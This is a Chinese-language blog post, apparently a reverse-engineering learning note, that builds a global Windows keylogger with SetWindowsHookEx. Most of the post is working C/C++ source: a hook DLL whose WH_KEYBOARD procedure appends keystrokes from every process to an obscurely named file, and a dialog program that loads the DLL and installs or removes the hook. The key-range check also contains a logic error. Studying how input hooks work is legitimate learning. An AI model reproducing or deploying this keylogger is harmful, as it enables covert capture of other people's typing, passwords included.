之前看书,看到一眼消息钩子,一直没实践,现在有空弄了下,
主要原理是利用windows自带SetWindowsHookEx API函数
HHOOK SetWindowsHookEx(
int idHook,//hook形式
HOOKPROC lpfn//hook过程
HINSTANCE hmod//钩子所属的dll句柄
DWORD dwThreadId//要钩取的线程ID 全局钩子则传入0
)
其主要工作原理为,Windows发生相关消息时,会将含有钩子过程的
DLL强制注入目标进程的内存空间中,并且执行DLL中的钩子过程。
可钩取的消息有多种,这里我们试验WH_KEYBOARD尝试钩取windows
的键盘消息,来实现一个简单的键盘记录器。
我开始想要使用控制台程序下钩,貌似不行,控制台没有消息队列的原因吗?
之后改用win32后可以正常使用了
其核心是存在钩子过程的dll编写,代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include
#include
#include "hook.cpp"
#define _CRT_SECURE_NO_WARNINGS
HINSTANCE hinstance;
//dll实例
HHOOK hhook;
//钩子实例
HANDLE hfile;
FILE* pFile = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORDul_reason_for_call,
LPVOID lpReserved
) //dll加载入口点
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://dll加载后在当前目录下创建一个用于保存记录的文件
hfile = CreateFileA("sLaOvGe", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hinstance = (HINSTANCE)hModule;
CloseHandle(hfile);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}LRESULT CALLBACK KeyboardProc(int ncode, WPARAM wparam, LPARAM lparam)//钩子过程要按照这样的形式定义
{
if (ncode >= 0) //nocde小于0时候约定需要交给下一个过程
{
if(!(lparam&0x80000000))//案件释放时记录,
if (wparam >= 48 && wparam <= 57 || wparam >= 65 || wparam <= 90)//键盘码处理字母和数字
{
pFile = fopen("sLaOvGe", "a+");
char save = wparam;
fwrite(&save, 1, 1, pFile);
fclose(pFile);
}
}
return CallNextHookEx(hhook, ncode, wparam, lparam);
//交给下个钩子或程序
}void HookStart()//挂钩
{
hhook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, (HINSTANCE)GetModuleHandleA("hook"), 0);
}void HookStop()//脱钩
{
if (hhook)
{
UnhookWindowsHookEx(hhook);
hhook = NULL;
}
}
这段是钩子dll的主函数,导出函数声明在hook.cpp中
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#ifndef hook
extern "C" _declspec(dllimport) void HookStart();
extern "C" _declspec(dllimport) void HookStop();
#endif
在钩子过程中设计你想要拦截的键盘消息,这里我的数字范围是windows消息结构中wparam所携带的
表示字母与数字的键盘码,他们和ascii码相同,关于wparam更多信息可以查阅windows程序设计的相关资料
有一个点要提一下
windows的消息结构中的lparam对于不同消息有不同的定义,对于键盘消息它的结构如下
参考资料:windows程序设计(第五版)
文章图片
32位按位标记,最高位表示转换状态,即现在将要发生的转换,如按下,或释放,
其他位还有很多控制内容,这里不多说,可以查到资料。我们的钩子过程
比较简单,释放时记录下当前释放的按键并把它输出到记录文件中即可。
下面就要实现挂钩程序了,代码如下
#include "stdafx.h"
#include "dialog.h"
#include
#include"Resource.h"
typedef void(*HOOK)();
char dbug[1024] = "\x00";
HMODULE mydll = NULL;
HINSTANCE hdll = NULL;
BOOL CALLBACK diaproc(HWND hdlg, UINT message, WPARAM, LPARAM lparam);
int WINAPI WinMain(HINSTANCE hinstance,
HINSTANCE hprevinstance,
PSTR szCmdLine, int iCmdShow)
{
DialogBox(hinstance, MAKEINTRESOURCE(IDD_ABOUTBOX)/*资源名*/,NULL/*父窗口*/, diaproc);
return 0;
}BOOL CALLBACK diaproc(HWND hdlg,UINT message,WPARAM wparam,LPARAM lparam) //处理的第一条消息WM_INITDIALOG是对话框过程不处理时返回false否则true
{
HOOK sethook = NULL;
HOOK unhook = NULL;
mydll = GetModuleHandleA("hook.dll");
//动态链接hook.dll
if (!mydll) {
mydll = LoadLibraryA("hook.dll");
}
sethook = (HOOK)GetProcAddress(mydll, "HookStart");
unhook = (HOOK)GetProcAddress(mydll, "HookStop");
switch (message)
{
case WM_COMMAND:
switch (LOWORD(wparam))
{
case ID_DLL: //挂钩
if (sethook)
{
MessageBoxA(hdlg, "hook ok!", "hook", 0);
sethook();
}
else
{
wsprintf(dbug, "%d", GetLastError());
MessageBoxA(hdlg, dbug, "hook", 0);
}
return TRUE;
case IDC_UDLL: //脱钩
if (!unhook)
{
wsprintf(dbug, "%d%d", GetLastError(),unhook);
MessageBoxA(hdlg, dbug, "hook", 0);
return TRUE;
}
unhook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
}
}
return FALSE;
}
也比较简单,调用了一个windows对话框过程来让我们挂钩。
IDC_UDLL,和ID_DLL分别是我们的脱钩挂钩按键,他有WM_COMMAND
消息的wparam携带,我们的窗口过程负责对他处理,挂钩与脱钩
最后大概就是这个样子。
文章图片
让我们的hook.dll和钩子程序在同一个目录下,尝试运行
文章图片
文章图片
文章图片
文章图片
文章图片
好了运行有效果,至于一些不可见字符是因为我有输入法启动了,按了几个转换
按键,我的编译环境时vs2017所以有些c函数如fopen会被认为不安全的函数,
只要在各个文件中加入源码开头宏定义即可通过。
至于针对某个线程挂钩,我觉得应该需要手动dll注入到进程空间内。这里全局钩子
就不用这么麻烦了。
【Reverse|Windows消息钩子[键盘监控]】em。。。还要再弄下API钩取,这周好忙
推荐阅读
- c/c++|有感 Visual Studio 2015 RTM 简介 - 八年后回归 Dot Net,终于迎来了 Mvc 时代,盼走了 Web 窗体时代...
- 个人日记|K8s中Pod生命周期和重启策略
- C/C++|C/C++ basis 02
- 学习分享|【C语言函数基础】
- C++|C++浇水装置问题
- 数据结构|C++技巧(用class类实现链表)
- C++|从零开始学C++之基本知识
- 步履拾级杂记|VS2019的各种使用问题及解决方法
- leetcode题解|leetcode#106. 从中序与后序遍历序列构造二叉树
- Qt实战|Qt+OpenCV联合开发(二十一)--图像翻转与旋转